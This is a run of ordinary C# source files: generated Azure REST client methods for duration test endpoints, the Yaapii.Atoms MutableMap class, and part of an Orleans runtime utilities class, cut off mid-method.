if (_shouldTrace) { _invocationId = Microsoft.Rest.ServiceClientTracing.NextInvocationId.ToString(); System.Collections.Generic.Dictionary<string, object> tracingParameters = new System.Collections.Generic.Dictionary<string, object>(); tracingParameters.Add("cancellationToken", cancellationToken); Microsoft.Rest.ServiceClientTracing.Enter(_invocationId, this, "GetNull", tracingParameters); } // Construct URL var _baseUrl = this.Client.BaseUri.AbsoluteUri; var _url = new System.Uri(new System.Uri(_baseUrl + (_baseUrl.EndsWith("/") ? "" : "/")), "duration/null").ToString(); System.Collections.Generic.List<string> _queryParameters = new System.Collections.Generic.List<string>(); if (_queryParameters.Count > 0) { _url += "?" + string.Join("&", _queryParameters); } // Create HTTP transport objects System.Net.Http.HttpRequestMessage _httpRequest = new System.Net.Http.HttpRequestMessage(); System.Net.Http.HttpResponseMessage _httpResponse = null; _httpRequest.Method = new System.Net.Http.HttpMethod("GET"); _httpRequest.RequestUri = new System.Uri(_url); // Set Headers if (this.Client.GenerateClientRequestId != null && this.Client.GenerateClientRequestId.Value) { _httpRequest.Headers.TryAddWithoutValidation("x-ms-client-request-id", System.Guid.NewGuid().ToString()); } if (this.Client.AcceptLanguage != null) { if (_httpRequest.Headers.Contains("accept-language")) { _httpRequest.Headers.Remove("accept-language"); } _httpRequest.Headers.TryAddWithoutValidation("accept-language", this.Client.AcceptLanguage); } if (customHeaders != null) { foreach(var _header in customHeaders) { if (_httpRequest.Headers.Contains(_header.Key)) { _httpRequest.Headers.Remove(_header.Key); } _httpRequest.Headers.TryAddWithoutValidation(_header.Key, _header.Value); } } // Serialize Request string _requestContent = null; // Set Credentials if (this.Client.Credentials != null) { cancellationToken.ThrowIfCancellationRequested(); await this.Client.Credentials.ProcessHttpRequestAsync(_httpRequest, cancellationToken).ConfigureAwait(false); } // Send Request if (_shouldTrace) { Microsoft.Rest.ServiceClientTracing.SendRequest(_invocationId, _httpRequest); } cancellationToken.ThrowIfCancellationRequested(); _httpResponse = await this.Client.HttpClient.SendAsync(_httpRequest, cancellationToken).ConfigureAwait(false); if (_shouldTrace) { Microsoft.Rest.ServiceClientTracing.ReceiveResponse(_invocationId, _httpResponse); } System.Net.HttpStatusCode _statusCode = _httpResponse.StatusCode; cancellationToken.ThrowIfCancellationRequested(); string _responseContent = null; if ((int)_statusCode != 200) { var ex = new ErrorException(string.Format("Operation returned an invalid status code '{0}'", _statusCode)); try { _responseContent = await _httpResponse.Content.ReadAsStringAsync().ConfigureAwait(false); Error _errorBody = Microsoft.Rest.Serialization.SafeJsonConvert.DeserializeObject<Error>(_responseContent, this.Client.DeserializationSettings); if (_errorBody != null) { ex.Body = _errorBody; } } catch (Newtonsoft.Json.JsonException) { // Ignore the exception } ex.Request = new Microsoft.Rest.HttpRequestMessageWrapper(_httpRequest, _requestContent); ex.Response = new Microsoft.Rest.HttpResponseMessageWrapper(_httpResponse, _responseContent); if (_shouldTrace) { Microsoft.Rest.ServiceClientTracing.Error(_invocationId, ex); } _httpRequest.Dispose(); if (_httpResponse != null) { _httpResponse.Dispose(); } throw ex; } // Create Result var _result = new Microsoft.Rest.Azure.AzureOperationResponse<System.TimeSpan?>(); _result.Request = _httpRequest; _result.Response = _httpResponse; if (_httpResponse.Headers.Contains("x-ms-request-id")) { _result.RequestId = _httpResponse.Headers.GetValues("x-ms-request-id").FirstOrDefault(); } // Deserialize Response if ((int)_statusCode == 200) { _responseContent = await _httpResponse.Content.ReadAsStringAsync().ConfigureAwait(false); try { _result.Body = Microsoft.Rest.Serialization.SafeJsonConvert.DeserializeObject<System.TimeSpan?>(_responseContent, this.Client.DeserializationSettings); } catch (Newtonsoft.Json.JsonException ex) { _httpRequest.Dispose(); if (_httpResponse != null) { _httpResponse.Dispose(); } throw new Microsoft.Rest.SerializationException("Unable to deserialize the response.", _responseContent, ex); } } if (_shouldTrace) { Microsoft.Rest.ServiceClientTracing.Exit(_invocationId, _result); } return _result; } /// <summary> /// Put a positive duration value /// </summary> /// <param name='durationBody'> /// </param> /// <param name='customHeaders'> /// Headers that will be added to request. /// </param> /// <param name='cancellationToken'> /// The cancellation token. /// </param> /// <exception cref="ErrorException"> /// Thrown when the operation returned an invalid status code /// </exception> /// <return> /// A response object containing the response body and response headers. /// </return> public async System.Threading.Tasks.Task<Microsoft.Rest.Azure.AzureOperationResponse> PutPositiveDurationWithHttpMessagesAsync(System.TimeSpan durationBody, System.Collections.Generic.Dictionary<string, System.Collections.Generic.List<string>> customHeaders = null, System.Threading.CancellationToken cancellationToken = default(System.Threading.CancellationToken)) { // Tracing bool _shouldTrace = Microsoft.Rest.ServiceClientTracing.IsEnabled; string _invocationId = null; if (_shouldTrace) { _invocationId = Microsoft.Rest.ServiceClientTracing.NextInvocationId.ToString(); System.Collections.Generic.Dictionary<string, object> tracingParameters = new System.Collections.Generic.Dictionary<string, object>(); tracingParameters.Add("durationBody", durationBody); tracingParameters.Add("cancellationToken", cancellationToken); Microsoft.Rest.ServiceClientTracing.Enter(_invocationId, this, "PutPositiveDuration", tracingParameters); } // Construct URL var _baseUrl = this.Client.BaseUri.AbsoluteUri; var _url = new System.Uri(new System.Uri(_baseUrl + (_baseUrl.EndsWith("/") ? "" : "/")), "duration/positiveduration").ToString(); System.Collections.Generic.List<string> _queryParameters = new System.Collections.Generic.List<string>(); if (_queryParameters.Count > 0) { _url += "?" + string.Join("&", _queryParameters); } // Create HTTP transport objects System.Net.Http.HttpRequestMessage _httpRequest = new System.Net.Http.HttpRequestMessage(); System.Net.Http.HttpResponseMessage _httpResponse = null; _httpRequest.Method = new System.Net.Http.HttpMethod("PUT"); _httpRequest.RequestUri = new System.Uri(_url); // Set Headers if (this.Client.GenerateClientRequestId != null && this.Client.GenerateClientRequestId.Value) { _httpRequest.Headers.TryAddWithoutValidation("x-ms-client-request-id", System.Guid.NewGuid().ToString()); } if (this.Client.AcceptLanguage != null) { if (_httpRequest.Headers.Contains("accept-language")) { _httpRequest.Headers.Remove("accept-language"); } _httpRequest.Headers.TryAddWithoutValidation("accept-language", this.Client.AcceptLanguage); } if (customHeaders != null) { foreach(var _header in customHeaders) { if (_httpRequest.Headers.Contains(_header.Key)) { _httpRequest.Headers.Remove(_header.Key); } _httpRequest.Headers.TryAddWithoutValidation(_header.Key, _header.Value); } } // Serialize Request string _requestContent = null; _requestContent = Microsoft.Rest.Serialization.SafeJsonConvert.SerializeObject(durationBody, this.Client.SerializationSettings); _httpRequest.Content = new System.Net.Http.StringContent(_requestContent, System.Text.Encoding.UTF8); _httpRequest.Content.Headers.ContentType =System.Net.Http.Headers.MediaTypeHeaderValue.Parse("application/json; charset=utf-8"); // Set Credentials if (this.Client.Credentials != null) { cancellationToken.ThrowIfCancellationRequested(); await this.Client.Credentials.ProcessHttpRequestAsync(_httpRequest, cancellationToken).ConfigureAwait(false); } // Send Request if (_shouldTrace) { Microsoft.Rest.ServiceClientTracing.SendRequest(_invocationId, _httpRequest); } cancellationToken.ThrowIfCancellationRequested(); _httpResponse = await this.Client.HttpClient.SendAsync(_httpRequest, cancellationToken).ConfigureAwait(false); if (_shouldTrace) { Microsoft.Rest.ServiceClientTracing.ReceiveResponse(_invocationId, _httpResponse); } System.Net.HttpStatusCode _statusCode = _httpResponse.StatusCode; cancellationToken.ThrowIfCancellationRequested(); string _responseContent = null; if ((int)_statusCode != 200) { var ex = new ErrorException(string.Format("Operation returned an invalid status code '{0}'", _statusCode)); try { _responseContent = await _httpResponse.Content.ReadAsStringAsync().ConfigureAwait(false); Error _errorBody = Microsoft.Rest.Serialization.SafeJsonConvert.DeserializeObject<Error>(_responseContent, this.Client.DeserializationSettings); if (_errorBody != null) { ex.Body = _errorBody; } } catch (Newtonsoft.Json.JsonException) { // Ignore the exception } ex.Request = new Microsoft.Rest.HttpRequestMessageWrapper(_httpRequest, _requestContent); ex.Response = new Microsoft.Rest.HttpResponseMessageWrapper(_httpResponse, _responseContent); if (_shouldTrace) { Microsoft.Rest.ServiceClientTracing.Error(_invocationId, ex); } _httpRequest.Dispose(); if (_httpResponse != null) { _httpResponse.Dispose(); } throw ex; } // Create Result var _result = new Microsoft.Rest.Azure.AzureOperationResponse(); _result.Request = _httpRequest; _result.Response = _httpResponse; if (_httpResponse.Headers.Contains("x-ms-request-id")) { _result.RequestId = _httpResponse.Headers.GetValues("x-ms-request-id").FirstOrDefault(); } if (_shouldTrace) { Microsoft.Rest.ServiceClientTracing.Exit(_invocationId, _result); } return _result; } /// <summary> /// Get a positive duration value /// </summary> /// <param name='customHeaders'> /// Headers that will be added to request. /// </param> /// <param name='cancellationToken'> /// The cancellation token. /// </param> /// <exception cref="ErrorException"> /// Thrown when the operation returned an invalid status code /// </exception> /// <exception cref="Microsoft.Rest.SerializationException"> /// Thrown when unable to deserialize the response /// </exception> /// <return> /// A response object containing the response body and response headers. /// </return> public async System.Threading.Tasks.Task<Microsoft.Rest.Azure.AzureOperationResponse<System.TimeSpan?>> GetPositiveDurationWithHttpMessagesAsync(System.Collections.Generic.Dictionary<string, System.Collections.Generic.List<string>> customHeaders = null, System.Threading.CancellationToken cancellationToken = default(System.Threading.CancellationToken)) { // Tracing bool _shouldTrace = Microsoft.Rest.ServiceClientTracing.IsEnabled; string _invocationId = null; if (_shouldTrace) { _invocationId = Microsoft.Rest.ServiceClientTracing.NextInvocationId.ToString(); System.Collections.Generic.Dictionary<string, object> tracingParameters = new System.Collections.Generic.Dictionary<string, object>(); tracingParameters.Add("cancellationToken", cancellationToken); Microsoft.Rest.ServiceClientTracing.Enter(_invocationId, this, "GetPositiveDuration", tracingParameters); } // Construct URL var _baseUrl = this.Client.BaseUri.AbsoluteUri; var _url = new System.Uri(new System.Uri(_baseUrl + (_baseUrl.EndsWith("/") ? "" : "/")), "duration/positiveduration").ToString(); System.Collections.Generic.List<string> _queryParameters = new System.Collections.Generic.List<string>(); if (_queryParameters.Count > 0) { _url += "?" + string.Join("&", _queryParameters); } // Create HTTP transport objects System.Net.Http.HttpRequestMessage _httpRequest = new System.Net.Http.HttpRequestMessage(); System.Net.Http.HttpResponseMessage _httpResponse = null; _httpRequest.Method = new System.Net.Http.HttpMethod("GET"); _httpRequest.RequestUri = new System.Uri(_url); // Set Headers if (this.Client.GenerateClientRequestId != null && this.Client.GenerateClientRequestId.Value) { _httpRequest.Headers.TryAddWithoutValidation("x-ms-client-request-id", System.Guid.NewGuid().ToString()); } if (this.Client.AcceptLanguage != null) { if (_httpRequest.Headers.Contains("accept-language")) { _httpRequest.Headers.Remove("accept-language"); } _httpRequest.Headers.TryAddWithoutValidation("accept-language", this.Client.AcceptLanguage); } if (customHeaders != null) { foreach(var _header in customHeaders) { if (_httpRequest.Headers.Contains(_header.Key)) { _httpRequest.Headers.Remove(_header.Key); } _httpRequest.Headers.TryAddWithoutValidation(_header.Key, _header.Value); } } // Serialize Request string _requestContent = null; // Set Credentials if (this.Client.Credentials != null) { cancellationToken.ThrowIfCancellationRequested(); await this.Client.Credentials.ProcessHttpRequestAsync(_httpRequest, cancellationToken).ConfigureAwait(false); } // Send Request if (_shouldTrace) { Microsoft.Rest.ServiceClientTracing.SendRequest(_invocationId, _httpRequest); } cancellationToken.ThrowIfCancellationRequested(); _httpResponse = await this.Client.HttpClient.SendAsync(_httpRequest, cancellationToken).ConfigureAwait(false); if (_shouldTrace) { Microsoft.Rest.ServiceClientTracing.ReceiveResponse(_invocationId, _httpResponse); } System.Net.HttpStatusCode _statusCode = _httpResponse.StatusCode; cancellationToken.ThrowIfCancellationRequested(); string _responseContent = null; if ((int)_statusCode != 200) { var ex = new ErrorException(string.Format("Operation returned an invalid status code '{0}'", _statusCode)); try { _responseContent = await _httpResponse.Content.ReadAsStringAsync().ConfigureAwait(false); Error _errorBody = Microsoft.Rest.Serialization.SafeJsonConvert.DeserializeObject<Error>(_responseContent, this.Client.DeserializationSettings); if (_errorBody != null) { ex.Body = _errorBody; } } catch (Newtonsoft.Json.JsonException) { // Ignore the exception } ex.Request = new Microsoft.Rest.HttpRequestMessageWrapper(_httpRequest, _requestContent); ex.Response = new Microsoft.Rest.HttpResponseMessageWrapper(_httpResponse, _responseContent); if (_shouldTrace) { Microsoft.Rest.ServiceClientTracing.Error(_invocationId, ex); } _httpRequest.Dispose(); if (_httpResponse != null) { _httpResponse.Dispose(); } throw ex; } // Create Result var _result = new Microsoft.Rest.Azure.AzureOperationResponse<System.TimeSpan?>(); _result.Request = _httpRequest; _result.Response = _httpResponse; if (_httpResponse.Headers.Contains("x-ms-request-id")) { _result.RequestId = _httpResponse.Headers.GetValues("x-ms-request-id").FirstOrDefault(); } // Deserialize Response if ((int)_statusCode == 200) { _responseContent = await _httpResponse.Content.ReadAsStringAsync().ConfigureAwait(false); try { _result.Body = Microsoft.Rest.Serialization.SafeJsonConvert.DeserializeObject<System.TimeSpan?>(_responseContent, this.Client.DeserializationSettings); } catch (Newtonsoft.Json.JsonException ex) { _httpRequest.Dispose(); if (_httpResponse != null) { _httpResponse.Dispose(); } throw new Microsoft.Rest.SerializationException("Unable to deserialize the response.", _responseContent, ex); } } if (_shouldTrace) { Microsoft.Rest.ServiceClientTracing.Exit(_invocationId, _result); } return _result; } /// <summary> /// Get an invalid duration value /// </summary> /// <param name='customHeaders'> /// Headers that will be added to request. /// </param> /// <param name='cancellationToken'> /// The cancellation token. /// </param> /// <exception cref="ErrorException"> /// Thrown when the operation returned an invalid status code /// </exception> /// <exception cref="Microsoft.Rest.SerializationException"> /// Thrown when unable to deserialize the response /// </exception> /// <return> /// A response object containing the response body and response headers. /// </return> public async System.Threading.Tasks.Task<Microsoft.Rest.Azure.AzureOperationResponse<System.TimeSpan?>> GetInvalidWithHttpMessagesAsync(System.Collections.Generic.Dictionary<string, System.Collections.Generic.List<string>> customHeaders = null, System.Threading.CancellationToken cancellationToken = default(System.Threading.CancellationToken)) { // Tracing bool _shouldTrace = Microsoft.Rest.ServiceClientTracing.IsEnabled; string _invocationId = null; if (_shouldTrace) { _invocationId = Microsoft.Rest.ServiceClientTracing.NextInvocationId.ToString(); System.Collections.Generic.Dictionary<string, object> tracingParameters = new System.Collections.Generic.Dictionary<string, object>(); tracingParameters.Add("cancellationToken", cancellationToken); Microsoft.Rest.ServiceClientTracing.Enter(_invocationId, this, "GetInvalid", tracingParameters); } // Construct URL var _baseUrl = this.Client.BaseUri.AbsoluteUri; var _url = new System.Uri(new System.Uri(_baseUrl + (_baseUrl.EndsWith("/") ? "" : "/")), "duration/invalid").ToString(); System.Collections.Generic.List<string> _queryParameters = new System.Collections.Generic.List<string>(); if (_queryParameters.Count > 0) { _url += "?" + string.Join("&", _queryParameters); } // Create HTTP transport objects System.Net.Http.HttpRequestMessage _httpRequest = new System.Net.Http.HttpRequestMessage(); System.Net.Http.HttpResponseMessage _httpResponse = null; _httpRequest.Method = new System.Net.Http.HttpMethod("GET"); _httpRequest.RequestUri = new System.Uri(_url); // Set Headers if (this.Client.GenerateClientRequestId != null && this.Client.GenerateClientRequestId.Value) { _httpRequest.Headers.TryAddWithoutValidation("x-ms-client-request-id", System.Guid.NewGuid().ToString()); } if (this.Client.AcceptLanguage != null) { if (_httpRequest.Headers.Contains("accept-language")) { _httpRequest.Headers.Remove("accept-language"); } _httpRequest.Headers.TryAddWithoutValidation("accept-language", this.Client.AcceptLanguage); } if (customHeaders != null) { foreach(var _header in customHeaders) { if (_httpRequest.Headers.Contains(_header.Key)) { _httpRequest.Headers.Remove(_header.Key); } _httpRequest.Headers.TryAddWithoutValidation(_header.Key, _header.Value); } } // Serialize Request string _requestContent = null; // Set Credentials if (this.Client.Credentials != null) { cancellationToken.ThrowIfCancellationRequested(); await this.Client.Credentials.ProcessHttpRequestAsync(_httpRequest, cancellationToken).ConfigureAwait(false); } // Send Request if (_shouldTrace) { Microsoft.Rest.ServiceClientTracing.SendRequest(_invocationId, _httpRequest); } cancellationToken.ThrowIfCancellationRequested(); _httpResponse = await this.Client.HttpClient.SendAsync(_httpRequest, cancellationToken).ConfigureAwait(false); if (_shouldTrace) { Microsoft.Rest.ServiceClientTracing.ReceiveResponse(_invocationId, _httpResponse); } System.Net.HttpStatusCode _statusCode = _httpResponse.StatusCode; cancellationToken.ThrowIfCancellationRequested(); string _responseContent = null; if ((int)_statusCode != 200) { var ex = new ErrorException(string.Format("Operation returned an invalid status code '{0}'", _statusCode)); try { _responseContent = await _httpResponse.Content.ReadAsStringAsync().ConfigureAwait(false); Error _errorBody = Microsoft.Rest.Serialization.SafeJsonConvert.DeserializeObject<Error>(_responseContent, this.Client.DeserializationSettings); if (_errorBody != null) { ex.Body = _errorBody; } } catch (Newtonsoft.Json.JsonException) { // Ignore the exception } ex.Request = new Microsoft.Rest.HttpRequestMessageWrapper(_httpRequest, _requestContent); ex.Response = new Microsoft.Rest.HttpResponseMessageWrapper(_httpResponse, _responseContent); if (_shouldTrace) { Microsoft.Rest.ServiceClientTracing.Error(_invocationId, ex); } _httpRequest.Dispose(); if (_httpResponse != null) { _httpResponse.Dispose(); } throw ex; } // Create Result var _result = new Microsoft.Rest.Azure.AzureOperationResponse<System.TimeSpan?>(); _result.Request = _httpRequest; _result.Response = _httpResponse; if (_httpResponse.Headers.Contains("x-ms-request-id")) { _result.RequestId = _httpResponse.Headers.GetValues("x-ms-request-id").FirstOrDefault(); } // Deserialize Response if ((int)_statusCode == 200) { _responseContent = await _httpResponse.Content.ReadAsStringAsync().ConfigureAwait(false); try { _result.Body = Microsoft.Rest.Serialization.SafeJsonConvert.DeserializeObject<System.TimeSpan?>(_responseContent, this.Client.DeserializationSettings); } catch (Newtonsoft.Json.JsonException ex) { _httpRequest.Dispose(); if (_httpResponse != null) { _httpResponse.Dispose(); } throw new Microsoft.Rest.SerializationException("Unable to deserialize the response.", _responseContent, ex); } } if (_shouldTrace) { Microsoft.Rest.ServiceClientTracing.Exit(_invocationId, _result); } return _result; } } }
using System; using System.Collections; using System.Collections.Generic; using Yaapii.Atoms; using Yaapii.Atoms.Scalar; namespace Yaapii.Atoms.Map { /// <summary> /// A map whose contents can be changed. /// (Our normal objects are immutable) /// </summary> public sealed class MutableMap<TValue> : IDictionary<string, TValue> { private readonly IDictionary<string, TValue> map; /// <summary> /// A map whose contents can be changed. /// (Our normal objects are immutable) /// </summary> public MutableMap(IEnumerable<IKvp<TValue>> kvps) : this(() => { var map = new Dictionary<string, TValue>(); foreach (var kvp in kvps) { map[kvp.Key()] = kvp.Value(); } return map; } ) { } /// <summary> /// A map whose contents can be changed. /// (Our normal objects are immutable) /// </summary> public MutableMap(IEnumerable<KeyValuePair<string, TValue>> kvps) : this(() => { var map = new Dictionary<string, TValue>(); foreach (var kvp in kvps) { map[kvp.Key] = kvp.Value; } return map; } ) { } /// <summary> /// A map whose contents can be changed. /// (Our normal objects are immutable) /// </summary> private MutableMap(Func<IDictionary<string, TValue>> map) { this.map = new MutableMap<string, TValue>(map); } public TValue this[string key] { get => Map()[key]; set => Map()[key] = value; } public ICollection<string> Keys => Map().Keys; public ICollection<TValue> Values => Map().Values; public int Count => Map().Keys.Count; public bool IsReadOnly => Map().Keys.IsReadOnly; public void Add(string key, TValue value) { Map().Add(key, value); } public void Add(KeyValuePair<string, TValue> item) { Map().Add(item); } public void Clear() { Map().Clear(); } public bool Contains(KeyValuePair<string, TValue> item) { return Map().Contains(item); } public bool ContainsKey(string key) { return Map().ContainsKey(key); } public void CopyTo(KeyValuePair<string, TValue>[] array, int arrayIndex) { Map().CopyTo(array, arrayIndex); } public IEnumerator<KeyValuePair<string, TValue>> GetEnumerator() { return Map().GetEnumerator(); } public bool Remove(string key) { return Map().Remove(key); } public bool Remove(KeyValuePair<string, TValue> item) { return Map().Remove(item); } public bool TryGetValue(string key, out TValue value) { return Map().TryGetValue(key, out value); } IEnumerator IEnumerable.GetEnumerator() { return Map().GetEnumerator(); } private IDictionary<string, TValue> Map() { return this.map; } } /// <summary> /// A map whose contents can be changed. /// (Our normal objects are immutable) /// </summary> public sealed class MutableMap<TKey, TValue> : IDictionary<TKey, TValue> { private readonly IScalar<IDictionary<TKey, TValue>> map; /// <summary> /// A map whose contents can be changed. /// (Our normal objects are immutable) /// </summary> public MutableMap(IEnumerable<IKvp<TKey, TValue>> kvps) : this(() => { var map = new Dictionary<TKey, TValue>(); foreach (var kvp in kvps) { map[kvp.Key()] = kvp.Value(); } return map; } ) { } /// <summary> /// A map whose contents can be changed. /// (Our normal objects are immutable) /// </summary> public MutableMap(IEnumerable<KeyValuePair<TKey, TValue>> kvps) : this(() => { var map = new Dictionary<TKey, TValue>(); foreach (var kvp in kvps) { map[kvp.Key] = kvp.Value; } return map; } ) { } /// <summary> /// A map whose contents can be changed. /// (Our normal objects are immutable) /// </summary> internal MutableMap(Func<IDictionary<TKey, TValue>> map) { this.map = new ScalarOf<IDictionary<TKey, TValue>>(map); } public TValue this[TKey key] { get => Map()[key]; set => Map()[key] = value; } public ICollection<TKey> Keys => Map().Keys; public ICollection<TValue> Values => Map().Values; public int Count => Map().Keys.Count; public bool IsReadOnly => Map().Keys.IsReadOnly; public void Add(TKey key, TValue value) { Map().Add(key, value); } public void Add(KeyValuePair<TKey, TValue> item) { Map().Add(item); } public void Clear() { Map().Clear(); } public bool Contains(KeyValuePair<TKey, TValue> item) { return Map().Contains(item); } public bool ContainsKey(TKey key) { return Map().ContainsKey(key); } public void CopyTo(KeyValuePair<TKey, TValue>[] array, int arrayIndex) { Map().CopyTo(array, arrayIndex); } public IEnumerator<KeyValuePair<TKey, TValue>> GetEnumerator() { return Map().GetEnumerator(); } public bool Remove(TKey key) { return Map().Remove(key); } public bool Remove(KeyValuePair<TKey, TValue> item) { return Map().Remove(item); } public bool TryGetValue(TKey key, out TValue value) { return Map().TryGetValue(key, out value); } IEnumerator IEnumerable.GetEnumerator() { return Map().GetEnumerator(); } private IDictionary<TKey, TValue> Map() { return this.map.Value(); } /// <summary> /// A map whose contents can be changed. /// (Our normal objects are immutable) /// </summary> public static IDictionary<string, TValue> New<TValue>(IEnumerable<IKvp<TValue>> kvps) => new MutableMap<TValue>(kvps); /// <summary> /// A map whose contents can be changed. /// (Our normal objects are immutable) /// </summary> public static IDictionary<string, TValue> New<TValue>(IEnumerable<KeyValuePair<string, TValue>> kvps) => new MutableMap<TValue>(kvps); /// <summary> /// A map whose contents can be changed. /// (Our normal objects are immutable) /// </summary> public static IDictionary<TKey, TValue> New<TKey, TValue>(IEnumerable<IKvp<TKey, TValue>> kvps) => new MutableMap<TKey, TValue>(kvps); /// <summary> /// A map whose contents can be changed. /// (Our normal objects are immutable) /// </summary> public static IDictionary<TKey, TValue> New<TKey, TValue>(IEnumerable<KeyValuePair<TKey, TValue>> kvps) => new MutableMap<TKey, TValue>(kvps); } }
using Microsoft.Extensions.Logging; using System; using System.Collections.Generic; using System.Reflection; using System.Runtime.CompilerServices; using System.Security.Cryptography; using System.Text; namespace Orleans.Runtime { /// <summary> /// The Utils class contains a variety of utility methods for use in application and grain code. /// </summary> public static class Utils { /// <summary> /// Returns a human-readable text string that describes an IEnumerable collection of objects. /// </summary> /// <typeparam name="T">The type of the list elements.</typeparam> /// <param name="collection">The IEnumerable to describe.</param> /// <param name="toString">Converts the element to a string. If none specified, <see cref="object.ToString"/> will be used.</param> /// <param name="separator">The separator to use.</param> /// <param name="putInBrackets">Puts elements within brackets</param> /// <returns>A string assembled by wrapping the string descriptions of the individual /// elements with square brackets and separating them with commas.</returns> public static string EnumerableToString<T>(IEnumerable<T> collection, Func<T, string> toString = null, string separator = ", ", bool putInBrackets = true) { if (collection == null) { if (putInBrackets) return "[]"; else return "null"; } var sb = new StringBuilder(); if (putInBrackets) sb.Append("["); var enumerator = collection.GetEnumerator(); bool firstDone = false; while (enumerator.MoveNext()) { T value = enumerator.Current; string val; if (toString != null) val = toString(value); else val = value == null ? "null" : value.ToString(); if (firstDone) { sb.Append(separator); sb.Append(val); } else { sb.Append(val); firstDone = true; } } if (putInBrackets) sb.Append("]"); return sb.ToString(); } /// <summary> /// Returns a human-readable text string that describes a dictionary that maps objects to objects. /// </summary> /// <typeparam name="T1">The type of the dictionary keys.</typeparam> /// <typeparam name="T2">The type of the dictionary elements.</typeparam> /// <param name="dict">The dictionary to describe.</param> /// <param name="toString">Converts the element to a string. If none specified, <see cref="object.ToString"/> will be used.</param> /// <param name="separator">The separator to use. If none specified, the elements should appear separated by a new line.</param> /// <returns>A string assembled by wrapping the string descriptions of the individual /// pairs with square brackets and separating them with commas. /// Each key-value pair is represented as the string description of the key followed by /// the string description of the value, /// separated by " -> ", and enclosed in curly brackets.</returns> public static string DictionaryToString<T1, T2>(ICollection<KeyValuePair<T1, T2>> dict, Func<T2, string> toString = null, string separator = null) { if (dict == null || dict.Count == 0) { return "[]"; } if (separator == null) { separator = Environment.NewLine; } var sb = new StringBuilder("["); var enumerator = dict.GetEnumerator(); int index = 0; while (enumerator.MoveNext()) { var pair = enumerator.Current; sb.Append("{"); sb.Append(pair.Key); sb.Append(" -> "); string val; if (toString != null) val = toString(pair.Value); else val = pair.Value == null ? "null" : pair.Value.ToString(); sb.Append(val); sb.Append("}"); if (index++ < dict.Count - 1) sb.Append(separator); } sb.Append("]"); return sb.ToString(); } public static string TimeSpanToString(TimeSpan timeSpan) { //00:03:32.8289777 return String.Format("{0}h:{1}m:{2}s.{3}ms", timeSpan.Hours, timeSpan.Minutes, timeSpan.Seconds, timeSpan.Milliseconds); } public static long TicksToMilliSeconds(long ticks) { return (long)TimeSpan.FromTicks(ticks).TotalMilliseconds; } public static float AverageTicksToMilliSeconds(float ticks) { return (float)TimeSpan.FromTicks((long)ticks).TotalMilliseconds; } /// <summary> /// Parse a Uri as an IPEndpoint. /// </summary> /// <param name="uri">The input Uri</param> /// <returns></returns> public static System.Net.IPEndPoint ToIPEndPoint(this Uri uri) { switch (uri.Scheme) { case "gwy.tcp": return new System.Net.IPEndPoint(System.Net.IPAddress.Parse(uri.Host), uri.Port); } return null; } /// <summary> /// Parse a Uri as a Silo address, including the IPEndpoint and generation identifier. /// </summary> /// <param name="uri">The input Uri</param> /// <returns></returns> public static SiloAddress ToSiloAddress(this Uri uri) { switch (uri.Scheme) { case "gwy.tcp": return SiloAddress.New(uri.ToIPEndPoint(), uri.Segments.Length > 1 ? int.Parse(uri.Segments[1]) : 0); } return null; } /// <summary> /// Represent an IP end point in the gateway URI format.. /// </summary> /// <param name="ep">The input IP end point</param> /// <returns></returns> public static Uri ToGatewayUri(this System.Net.IPEndPoint ep) { var builder = new UriBuilder("gwy.tcp", ep.Address.ToString(), ep.Port, "0"); return builder.Uri; } /// <summary> /// Represent a silo address in the gateway URI format. /// </summary> /// <param name="address">The input silo address</param> /// <returns></returns> public static Uri ToGatewayUri(this SiloAddress address) { var builder = new UriBuilder("gwy.tcp", address.Endpoint.Address.ToString(), address.Endpoint.Port, address.Generation.ToString()); return builder.Uri; } /// <summary> /// Calculates an integer hash value based on the consistent identity hash of a string. /// </summary> /// <param name="text">The string to hash.</param> /// <returns>An integer hash for the string.</returns> public static int CalculateIdHash(string text) { SHA256 sha = SHA256.Create(); // This is one implementation of the abstract class SHA1. int hash = 0; try { byte[] data = Encoding.Unicode.GetBytes(text); byte[] result = sha.ComputeHash(data); for (int i = 0; i < result.Length; i += 4) { int tmp = (result[i] << 24) | (result[i + 1] << 16) | (result[i + 2] << 8) | (result[i + 3]); hash = hash ^ tmp; } } finally { sha.Dispose(); } return hash; } /// <summary> /// Calculates a Guid hash value based on the consistent identity a string. /// </summary> /// <param name="text">The string to hash.</param> /// <returns>An integer hash for the string.</returns> internal static Guid CalculateGuidHash(string text) { SHA256 sha = SHA256.Create(); // This is one implementation of the abstract class SHA1. byte[] hash = new byte[16]; try { byte[] data = Encoding.Unicode.GetBytes(text); byte[] result = sha.ComputeHash(data); for (int i = 0; i < result.Length; i ++) { byte tmp = (byte)(hash[i % 16] ^ result[i]); hash[i%16] = tmp; } } finally { sha.Dispose(); } return new Guid(hash); } public static bool TryFindException(Exception original, Type targetType, out Exception target) { if (original.GetType() == targetType) { target = original; return true; } else if (original is AggregateException) { var baseEx = original.GetBaseException(); if (baseEx.GetType() == targetType) { target = baseEx; return true; } else { var newEx = ((AggregateException)original).Flatten(); foreach (var exc in newEx.InnerExceptions) { if (exc.GetType() == targetType) { target = newEx; return true; } } } } target = null; return false; } public static void SafeExecute(Action action, ILogger logger = null, string caller = null) { SafeExecute(action, logger, caller==null ? (Func<string>)null : () => caller); } // a function to safely execute an action without any exception being thrown. // callerGetter function is called only in faulty case (now string is generated in the success case). [System.Diagnostics.CodeAnalysis.SuppressMessage("Microsoft.Design", "CA1031:DoNotCatchGeneralExceptionTypes")] public static void SafeExecute(Action action, ILogger logger, Func<string> callerGetter) { try { action(); } catch (Exception exc) { try { if (logger != null) { string caller = null; if (callerGetter != null) { try { caller = callerGetter(); }catch (Exception) { } } foreach (var e in exc.FlattenAggregate()) { logger.Warn(ErrorCode.Runtime_Error_100325, $"Ignoring {e.GetType().FullName} exception thrown from an action called by {caller ?? String.Empty}.", exc); } } } catch (Exception) { // now really, really ignore. } } } public static TimeSpan Since(DateTime start) { return DateTime.UtcNow.Subtract(start); } public static List<Exception> FlattenAggregate(this Exception exc) { var result = new List<Exception>(); if (exc is AggregateException) result.AddRange(exc.InnerException.FlattenAggregate()); else result.Add(exc); return result; } public static AggregateException Flatten(this ReflectionTypeLoadException rtle) { // if ReflectionTypeLoadException is thrown, we need to provide the // LoaderExceptions property in order to make it meaningful. var all = new List<Exception> { rtle }; all.AddRange(rtle.LoaderExceptions); throw new AggregateException("A ReflectionTypeLoadException has been thrown. The original exception and the contents of the LoaderExceptions property have been aggregated for your convenience.", all); } /// <summary> /// </summary> public static IEnumerable<List<T>> BatchIEnumerable<T>(this IEnumerable<T> sequence, int batchSize) { var batch = new 